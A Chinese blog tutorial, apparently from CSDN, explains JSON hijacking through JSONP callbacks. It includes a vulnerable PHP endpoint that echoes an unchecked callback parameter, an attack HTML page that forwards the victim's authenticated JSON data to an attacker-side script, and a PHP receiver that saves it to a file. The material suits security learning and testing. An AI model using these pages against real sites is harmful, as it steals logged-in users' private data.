json劫持漏洞

JSON劫持是攻击者在用户认证状态下,通过拦截并篡改JSON数据来窃取敏感信息的一种攻击方式。测试过程包括寻找JSON类型页面,构造攻击页面,诱导用户访问以获取并转发数据。示例中展示了如何通过回调函数劫持数据并将其发送到攻击者的服务器。防范措施通常涉及改进数据传输和验证机制。
摘要由CSDN通过智能技术生成

json劫持漏洞

JSON是一种轻量级的数据交换格式,劫持就对数据进行窃取。攻击者通过某些特定的手段。将本应返回已给用户的JSON数据进行拦截,转发给攻击者。一般劫持的JSON数据都是包含敏感信息或者有价值的数据

攻击方法与CSRF类似。需要用户登录账号,在身份是认证没有消除的情况下访问攻击者设计好的页面。进而获取JSON数据,并转发给攻击者。

测试方法

找到json类型的页面 -> 构建攻击页面 -> 诱导目标访问页面 -> 获取数据

//json.php
<?php
header('Content-type: application/json');
$callback = $_GET['callback'];
print $callback.'({"id" : "1","name" : "moonsec","email":"moon@moonsec.com"});';
?>

劫持测试页面

<!-- json_test.html -->
<!DOCTYPE html>
<html lan="en">
    <head>
    <meta charset="UTF-8">
    <title>json劫持</title>
    <script src="http://apps.bdimg.com/libs/jquery/1.10.2/jquery.min.js"></script>
    </head>
    <body>
        <script>function jsonp2(data){alert(JSON.stringify(data));}</script>
        <script src ="http://www.webtester.com/json.php?callback=jsonp2"></script>
    </body>
</html>

劫持json发送返回数据

<!-- json_attack.html -->
<!DOCTYPE html>
<html lan="en">
<head>
    <meta charset="UTF-8">
    <title>json劫持发送返回数据</title>
    <script src="http://apps.bdimg.com/libs/jquery/1.10.2/jquery.min.js"></script>
    <script>
        function test(data){
            //alert(v.name);
            var xmlhttp = new XMLHttpRequest();
            var url = "http://127.0.0.1/json/1.php?file=" + JSON.stringify(data);
            xmlhttp.open("GET",url,true);
            xmlhttp.send();
            }
    </script>
    <script src ="http://www.webtester.com/json.php?callback=test"></script>
</head>
    <body>   
    </body>
</html>
//1.php
<?php
if($_GET['file']){
   file_put_contents('json.txt', $_GET['file']);
}
?>

访问json_atack.html劫持json数据传到1.php,保存到json.txt

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

RICKC131

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值